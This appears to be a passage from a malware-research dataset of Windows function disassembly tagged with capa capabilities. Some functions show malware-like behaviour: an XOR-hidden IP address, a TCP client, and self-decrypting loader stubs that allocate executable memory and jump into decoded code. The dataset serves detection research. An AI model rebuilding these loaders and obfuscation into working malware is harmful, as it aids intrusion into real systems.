joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003fac0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x1003fba8
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x1003fb97
jg 0x1003fb00
test edx, edx
je 0x1003fb97
nop dword [eax]
call fcn.10040d40
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x1003fb54
jg 0x1003fb17
test esi, esi
je 0x1003fb54
cmp ebx, eax
jg 0x1003fb27
jl 0x1003fb21
cmp edi, esi
jae 0x1003fb27
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.10066560
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x1003fb7b
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
movzx eax, byte [eax]
push eax
call edx
cmp eax, 0xffffffff
je 0x1003fb91
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x1003fb00
jl 0x1003fb91
test edi, edi
jne 0x1003fb00
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x1003fbca
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x1003fbcc
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x1003fc4a
jg 0x1003fbdf
test esi, esi
je 0x1003fc4a
test eax, eax
jl 0x1003fc24
jg 0x1003fbe9
test ebx, ebx
je 0x1003fc24
cmp edi, eax
jg 0x1003fbf9
jl 0x1003fbf3
cmp esi, ebx
jae 0x1003fbf9
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.10066560
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
add edx, ebx
sub esi, ebx
mov eax, dword [ecx + 0x30]
sbb edi, dword [esp + 0x14]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
jmp 0x1003fc27
mov edx, dword [ebp + 8]
test edi, edi
jl 0x1003fc4a
jg 0x1003fc31
test esi, esi
je 0x1003fc4a
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x1003fc4a
push eax
push esi
push 1
push edx
call fcn.10072862
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10040150
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x1004016c
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x1004019e
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x1004019e
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x10040273
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x100401c6
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100401ef
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.100728e3
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
mov byte [ebp - 1], bl
mov eax, dword [ecx]
mov edx, dword [eax + 0x1c]
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp]
push eax
lea eax, [ebp - 1]
push eax
lea eax, [esi + 0x40]
push eax
call edx
test eax, eax
js 0x10040273
cmp eax, 1
jle 0x10040246
cmp eax, 3
jne 0x10040273
push dword [esi + 0x4c]
movsx eax, byte [ebp - 1]
push eax
call fcn.100728e3
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x28]
sub edi, eax
je 0x10040263
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.10072862
add esp, 0x10
cmp edi, eax
jne 0x10040273
lea eax, [ebp - 1]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 8], eax
jne 0x10040193
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10040b10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x38], 0
je 0x10040b91
cmp byte [esi + 0x3d], 0
je 0x10040b91
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x10040b5b
mov ecx, dword [esi + 0x38]
mov eax, dword [ecx]
mov edx, dword [eax + 0x20]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x10040b63
sub eax, 1
je 0x10040b67
sub eax, 2
je 0x10040b91
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x10040b84
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.10072862
add esp, 0x10
cmp edi, eax
jne 0x10040b5b
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10043a10
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
movzx edx, byte [eax + 8]
movzx ecx, byte [eax + 0xa]
xor edx, 0x811c9dc5
imul esi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor esi, edx
imul edx, esi, 0x1000193
xor edx, ecx
movzx ecx, byte [eax + 0xb]
imul edx, edx, 0x1000193
xor edx, ecx
imul ecx, edx, 0x1000193
mov edx, dword [edi + 0x18]
and edx, ecx
lea esi, [edx*8]
mov edx, dword [edi + 0xc]
add edx, esi
mov ecx, dword [edx]
cmp dword [edx + 4], eax
jne 0x10043a83
cmp ecx, eax
jne 0x10043a7b
mov ecx, dword [edi + 4]
mov dword [edx], ecx
mov edx, dword [edi + 0xc]
mov ecx, dword [edi + 4]
mov dword [esi + edx + 4], ecx
jmp 0x10043a8b
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
jmp 0x10043a8b
cmp ecx, eax
jne 0x10043a8b
mov ecx, dword [eax]
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov esi, dword [eax]
push 0x10
push eax
mov dword [ecx], esi
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
dec dword [edi + 8]
call fcn.1004ee69
mov eax, dword [ebp + 8]
add esp, 8
pop edi
mov dword [eax], esi
pop esi
pop ebp
ret 8

Function at 0x10043b40
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
movzx edx, byte [eax + 8]
movzx ecx, byte [eax + 0xa]
xor edx, 0x811c9dc5
imul esi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor esi, edx
imul edx, esi, 0x1000193
xor edx, ecx
movzx ecx, byte [eax + 0xb]
imul edx, edx, 0x1000193
xor edx, ecx
imul ecx, edx, 0x1000193
mov edx, dword [edi + 0x18]
and edx, ecx
lea esi, [edx*8]
mov edx, dword [edi + 0xc]
add edx, esi
mov ecx, dword [edx]
cmp dword [edx + 4], eax
jne 0x10043bb3
cmp ecx, eax
jne 0x10043bab
mov ecx, dword [edi + 4]
mov dword [edx], ecx
mov edx, dword [edi + 0xc]
mov ecx, dword [edi + 4]
mov dword [esi + edx + 4], ecx
jmp 0x10043bbb
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
jmp 0x10043bbb
cmp ecx, eax
jne 0x10043bbb
mov ecx, dword [eax]
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov esi, dword [eax]
push 0x68
push eax
mov dword [ecx], esi
mov edx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
dec dword [edi + 8]
call fcn.1004ee69
mov eax, dword [ebp + 8]
add esp, 8
pop edi
mov dword [eax], esi
pop esi
pop ebp
ret 8
Function at 0x10045e80
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x194
push edi
mov edi, ecx
mov dword [edi], vtable.ClientSocket.0
lea eax, [edi + 0x14]
push eax
mov dword [edi + 4], vtable.CBuffer.0
mov dword [edi + 0x10], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [edi + 0x3c]
mov dword [edi + 0x2c], vtable.CBuffer.0
push eax
mov dword [edi + 0x38], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esp + 8]
mov byte [edi + 0x54], 0
push eax
push 0x202
mov dword [edi + 0x58], 0xffffffff
mov dword [edi + 0x5c], 0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
mov byte [edi + 0x54], 0
mov dword [edi + 0x58], 0xffffffff
mov dword [edi + 0x5c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0x60], eax
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10046070
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, ecx
call fcn.10046160
push dword [esi + 0x60]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x58], eax
cmp eax, 0xffffffff
je 0x100460cf
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x70]
mov word [ebp - 0x1e], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x58]
push 0x10
test ecx, ecx
je 0x100460d8
lea edx, [ebp - 0x20]
push edx
push eax
call ecx
cmp eax, 0xffffffff
jne 0x100460e8
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 8
lea ecx, [ebp - 0x20]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100460cf
push 4
lea eax, [ebp - 4]
mov dword [ebp - 4], 1
push eax
push 8
push 0xffff
push dword [esi + 0x58]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x1004613c
push eax
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0x10], 1
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x2bf20
push eax
push 0x98000004
push dword [esi + 0x58]
mov dword [ebp - 8], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
push 0
push esi
push 0x10046610
push 0
push 0
mov byte [esi + 0x54], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x5c], eax
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10046160
Capabilities:
Set socket configuration
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword [esi + 0x58], 0xffffffff
je 0x100461e6
mov eax, dword [esi + 0x60]
test eax, eax
je 0x10046186
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x5c]
test eax, eax
je 0x100461a6
push 1
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0x5c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x5c], 0
push 4
lea eax, [ebp - 4]
mov dword [ebp - 4], 1
push eax
push pe_nt_image_headers32
push 0xffff
push dword [esi + 0x58]
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [esi + 0x58]
call dword [sym.imp.KERNEL32.dll_CancelIo]
xor cl, cl
lea eax, [esi + 0x54]
xchg byte [eax], cl
push dword [esi + 0x58]
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x58], 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100461f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, ecx
mov dword [ebp - 4], ebx
cmp esi, 0xc
jb 0x100462da
xor eax, eax
push edi
mov edi, dword [ebp + 8]
cmp esi, 0x40
jb 0x10046266
movaps xmm2, xmmword [str.________________]
mov ecx, esi
and ecx, 0xffffffc0
nop
movups xmm0, xmmword [edi + eax]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edi + eax], xmm1
movups xmm0, xmmword [edi + eax + 0x10]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [edi + eax + 0x10], xmm0
movups xmm0, xmmword [edi + eax + 0x20]
pxor xmm1, xmm0
movups xmmword [edi + eax + 0x20], xmm1
movups xmm0, xmmword [edi + eax + 0x30]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edi + eax + 0x30], xmm1
add eax, 0x40
cmp eax, ecx
jb 0x10046220
cmp eax, esi
jae 0x10046279
nop word [eax + eax]
xor byte [eax + edi], 0x24
inc eax
cmp eax, esi
jb 0x10046270
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebx + 0x64], eax
mov eax, dword [edi]
push eax
mov dword [ebp + 0xc], eax
call fcn.1004eea7
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x100462d9
lea ecx, [esi - 4]
push ecx
lea ecx, [edi + 4]
push ecx
lea eax, [ebp + 0xc]
push eax
push ebx
call fcn.10001000
add esp, 0x10
test eax, eax
jne 0x100462d0
cmp dword [ebx], 0x43
je 0x100462d0
mov esi, dword [ebp - 4]
mov eax, dword [esi + 0x6c]
test eax, eax
je 0x100462c4
push dword [ebp + 0xc]
push ebx
call eax
mov ecx, dword [esi + 0x68]
push dword [ebp + 0xc]
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
push ebx
call fcn.1004eeb0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10046790
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1c8
push esi
push edi
mov esi, ecx
mov dword [esp + 0x1c], esi
mov byte [esp + 0xd], 0xac
mov al, 0x9d
mov byte [esp + 0x17], 0
mov byte [esp + 0xc], al
mov dl, 0x9e
xor al, byte [esp + 0xd]
mov cl, 0x9c
xor dl, byte [esp + 0xd]
mov dh, 0x82
mov byte [esp + 0xe], al
mov ch, dh
mov byte [esp + 0xa], cl
mov ah, 0x9b
mov al, byte [esp + 0xa]
mov byte [esp + 0xf], dl
mov dl, byte [esp + 0xd]
xor al, dl
mov byte [esp + 0xb], ch
mov byte [esp + 0x14], al
xor ah, dl
mov al, byte [esp + 0xb]
xor dh, dl
xor al, dl
mov byte [esp + 0x10], ah
mov byte [esp + 0x15], al
xor cl, dl
mov al, byte [esp + 0xc]
xor ch, dl
xor al, dl
mov byte [esp + 0x16], al
lea eax, [esp + 0xe]
push eax
mov byte [esp + 0x15], dh
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], ch
mov byte [esp + 0x1b], 0
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edi, eax
test esi, esi
je 0x100468ae
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100468a9
push 0x190
lea eax, [esp + 0x44]
push 0
push eax
call fcn.10067060
add esp, 0xc
lea eax, [esp + 0x40]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x100468a6
mov dword [esp + 0x18], eax
xorps xmm0, xmm0
lea eax, [esp + 0x18]
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x24]
movaps xmmword [esp + 0x34], xmm0
push eax
push 0
push dword [esp + 0x28]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x100468a0
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x10046899
mov eax, dword [ecx + 0x18]
mov esi, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp esi, 0xffffffff
cmovne edi, esi
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10047e80
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10089ce6
push eax
mov dword fs:[0], esp
push esi
mov esi, ecx
push edi
push 0xffffffffffffffff
push dword [esi + 0x14]
mov byte [esi + 0x10], 0
call dword [0x100b1308]
push dword [esi + 0x14]
call dword [0x100b1314]
mov ecx, dword [esi + 0x28]
test ecx, ecx
je 0x10047ec1
mov eax, dword [ecx]
push 1
call dword [eax]
mov edi, dword [ebp + 8]
push 0x10c
call fcn.1004ee77
mov dword [ebp + 8], eax
cmp edi, 3
jne 0x10047ee3
push 1
mov dword [ebp - 4], 0
push 4
jmp 0x10047efe
cmp edi, 7
jne 0x10047ef4
push 1
mov dword [ebp - 4], 1
push edi
jmp 0x10047efe
push 0
mov dword [ebp - 4], 2
push edi
mov ecx, eax
call fcn.100481f0
mov ecx, eax
movzx eax, byte [esi + 0x1c]
push eax
mov dword [esi + 0x28], ecx
lea eax, [ecx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push esi
push 0x10047c00
push 0
push 0
mov dword [esi + 0x20], edi
mov byte [esi + 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x1004b340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10089eb2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push esi
push edi
push 0x10154fec
mov di, cx
mov dword [ebp - 0x38], 0x10154fec
call fcn.1004c4af
add esp, 4
test eax, eax
je 0x1004b384
push eax
call fcn.1004cdb1
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [0x1015501c]
mov ecx, dword [0x10155020]
cmp eax, ecx
je 0x1004b3b7
nop word [eax + eax]
cmp di, word [eax]
jne 0x1004b3b0
mov esi, dword [eax + 4]
test esi, esi
jne 0x1004b4a6
add eax, 8
cmp eax, ecx
jne 0x1004b3a0
push 0x104
lea eax, [ebp - 0x13c]
push 0
push eax
call fcn.10067060
movaps xmm0, xmmword [0x100a1560]
add esp, 0xc
movups xmmword [ebp - 0x34], xmm0
xor ecx, ecx
movzx edx, di
movaps xmm0, xmmword [0x100a0a90]
movups xmmword [ebp - 0x24], xmm0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x1e
jl 0x1004b3e8
push ebx
push edx
lea eax, [ebp - 0x33]
mov byte [ebp - 0x15], 0
push eax
lea eax, [ebp - 0x13c]
push eax
call fcn.10041a20
mov byte [ebp - 0x10], 0
lea edx, [ebp - 0x13c]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x2c]
call fcn.10042f40
add esp, 0x10
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.1001f610
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0
mov bl, al
call fcn.10020d70
test bl, bl
pop ebx
je 0x1004b4a4
push 0x300
call fcn.1004ee77
add esp, 4
mov dword [ebp - 0x10], eax
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.10044340
mov esi, eax
mov byte [ebp - 4], 0
lea eax, [ebp - 0x13c]
mov ecx, esi
push eax
call dword [0x100b11e4]
mov ecx, dword [0x10155020]
mov word [ebp - 0x14], di
mov dword [ebp - 0x10], esi
cmp dword [0x10155024], ecx
je 0x1004b498
mov eax, dword [ebp - 0x14]
mov dword [ecx], eax
mov dword [ecx + 4], esi
add dword [0x10155020], 8
jmp 0x1004b4a6
lea eax, [ebp - 0x14]
push eax
push ecx
call fcn.1004b4e0
jmp 0x1004b4a6
xor esi, esi
push 0x10154fec
mov dword [ebp - 4], 5
call fcn.1004c4d4
add esp, 4
test eax, eax
je 0x1004b4c7
push eax
call fcn.1004cdb1
add esp, 4
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x10051984
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x10079ac9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10079948

Function at 0x10080395
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10080055
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x402fc9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x402fd8
pop dword [ebp - 0x38]
mov eax, 0xdc8f49c0
add eax, 0x23b0e618
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x3e1d0f48
sub dword [ebp - 0x48], 0xefcac9fd
mov dword [ebp - 0x44], 0x9cecb5c7
add dword [ebp - 0x44], 0x9546967e
mov dword [ebp - 0x40], 0x590e2c3a
add dword [ebp - 0x40], 0xf33e17f4
mov dword [ebp - 0x3c], 0x3b6b64d7
sub dword [ebp - 0x3c], 0x3b6b64d7
lea eax, [ebp - 0x48]
push eax
mov eax, 0x2e23ceca
sub eax, 0x2de2fe76
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x18c522eb
sub dword [ebp - 0x48], 0xa452b995
mov dword [ebp - 0x44], 0x400e2618
sub dword [ebp - 0x44], 0xfea1c4a3
mov dword [ebp - 0x40], 0xd18e12dc
sub dword [ebp - 0x40], 0x6e1ea670
mov dword [ebp - 0x3c], 0x38321257
sub dword [ebp - 0x3c], 0x38321257
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x22962588
sub eax, 0x2255553c
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3e2f3
push 0
call eax
mov ecx, 0x715f395c
add ecx, 0x8ea1214c
xor edi, edi
add edi, eax
mov edx, 0x1f15d6b8
sub edx, 0x1ed426b8
add edx, dword [ebp - 0x38]
mov esi, 0xd05e0f16
xor dword [ebp - 0x18], edx
mov ebx, dword [edx]
xor dword [ebp - 0x34], edi
xor ebx, esi
sub dword [ebp - 0xc], 0x10229db5
mov dword [edi], ebx
xor dword [ebp - 0x18], ebx
add edi, 4
add edx, 0x1ac88e4a
sub edx, 0x1ac88e46
loop 0x4030f6
add eax, 0xbba0b55e
add eax, 0x4460a815
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x406a06
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a2a
xor eax, eax
test eax, eax
je 0x406a3d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a3d
xor ecx, ecx
jmp 0x406a40
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b63
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ec], 0
push esi
jne 0x406b9a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b74
mov dword [ecx*4 + 0x4275e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b6f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406bcb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275e8]
xor eax, esi
inc ecx
dec edx
jne 0x406bad
pop edi
not eax
pop esi
ret 0xc

Function at 0x115473c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1154746
pushal
call 0x115474c
pop ebp
sub ebp, 0x10
sub ebp, 0xd5473c
jmp 0x1154762
mov eax, 0xd5473c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c1
mov edx, 0x1b97f233
xor byte [eax], dl
inc eax
dec ecx
jne 0x1154779
jmp 0x115478c
mov eax, 0xfbab8fe
xor esi, dword [ebx]
xor esi, dword [edx + 0x3333cbf2]
xor esi, dword [eax]
dec byte [ebx + 0x33333334]
mov dword [ebx], ebx
xor esi, dword [ebx]
xor eax, esp
sal dword [eax], 1
sti
mov eax, 0x33333fb2
xor esi, dword [eax]
mul byte [ebx - 0x42]
push edi
pop ss
iretd